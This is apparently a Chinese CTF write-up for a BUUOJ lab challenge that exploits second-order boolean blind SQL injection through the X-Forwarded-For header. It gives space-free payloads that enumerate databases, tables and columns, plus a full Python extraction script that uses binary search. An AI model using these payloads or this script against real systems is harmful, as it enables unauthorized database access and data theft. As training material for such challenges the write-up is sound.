看他提示
输个分号进去
换brupsuit做算了
这里的注释代码很重要,发现他存入了我们的ip
利用X-Forwarded-For篡改ip,(我的bp只能小写传入),可以发现
ip被保存并输出了
更改ip地址后,发现回显了last-ip
既然他的last-ip和current-ip会更新,由此可以猜想他与数据库进行了交互,不然last-ip怎么来的。
由于他这里是先回显current-ip,所以可以猜测后端sql语句,插入和更新
猜测后端sql语句
1 2 3 | INSERT INTO table_name (current-ip,last-ip ) VALUES ('$current-ip','$last-ip' ); |
但是由于这题有回显,因此,可以考虑二次注入
我自己采用的是布尔盲注
我是从下面这篇题解得知sql闭合语句的(我这个废物肯定是想不到的)
这篇跟我的方法不同,我暂时看不懂他的做法,感兴趣的可以去看下,我先用我自己构想的盲注来做
另外一种方法
先将盲注语句输入
1 | 0' or ascii(substr((select(database())),1,1))>100 or '0 |
再随便输入一个值
这时候我们的语句还没有执行,只是将我们输入的值 写出来而已,再send一次
可以发现我们的sql语句返回了一个0,说明他第一个字符不是大于100
我们改成1试试
他返回的是1,所以根据这个布尔回显,来进行布尔盲注
这题有个坑,必须得group_concat()查询所有库名,当前的库名并不是flag的所在地我是真tm吐了
这题还过滤了空格
我之前翻到很多博客都是没考虑过滤空格的,可能是当时环境问题吧
查库名
payload
1 | 0' or ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))>1 or '0 |
所有库名如下
很熟悉吧,这就是flag的库名
接着查这个库的表名
payload
1 | 0' or ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='F4l9_D4t4B45e')),1,1))>1 or '0 |
表名为
查列名
payload
1 | 0' or ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F4l9_t4b1e')),1,1))>1 or '0 |
列名为
查flag
payload
1 | 0' or ascii(substr((select(group_concat(F4l9_C01uMn))from(F4l9_D4t4B45e.F4l9_t4b1e)),1,1))>1 or '0 |
最后的exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 | import requests url = "http://node3.buuoj.cn:25174/" #这个head头好像必须加cookie head ={ "X-Forwarded-For":"", "Cookie" : "track_uuid=ce631f2b-5cab-4c99-a795-40e01e157888" } # #查库名 # payload = "0' or ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{},1))>{} or '0" # #查表名 # payload = "0' or ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='F4l9_D4t4B45e')),{},1))>{} or '0" # #查列名 # payload = "0' or ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F4l9_t4b1e')),{},1))>{} or '0" #查flag payload = "0' or ascii(substr((select(group_concat(F4l9_C01uMn))from(F4l9_D4t4B45e.F4l9_t4b1e)),{},1))>{} or '0" flag ="" for i in range(1,1000): low = 32 high =137 mid = (low+high)//2 while(low < high): print(i,mid) '''插入sql语句''' payload1 = payload.format(i,mid) head["X-Forwarded-For"] = payload1 print(head["X-Forwarded-For"]) r = requests.get(url,headers=head) '''重新发送两次请求''' head["X-Forwarded-For"]= "penson" r = requests.get(url,headers=head) r = requests.get(url,headers=head) if "Last Ip: 1 " in r.text: low = mid+1 else: high = mid mid =(low+high)//2 if(mid ==32 or mid ==127): break flag +=chr(mid) print(flag) print(flag) |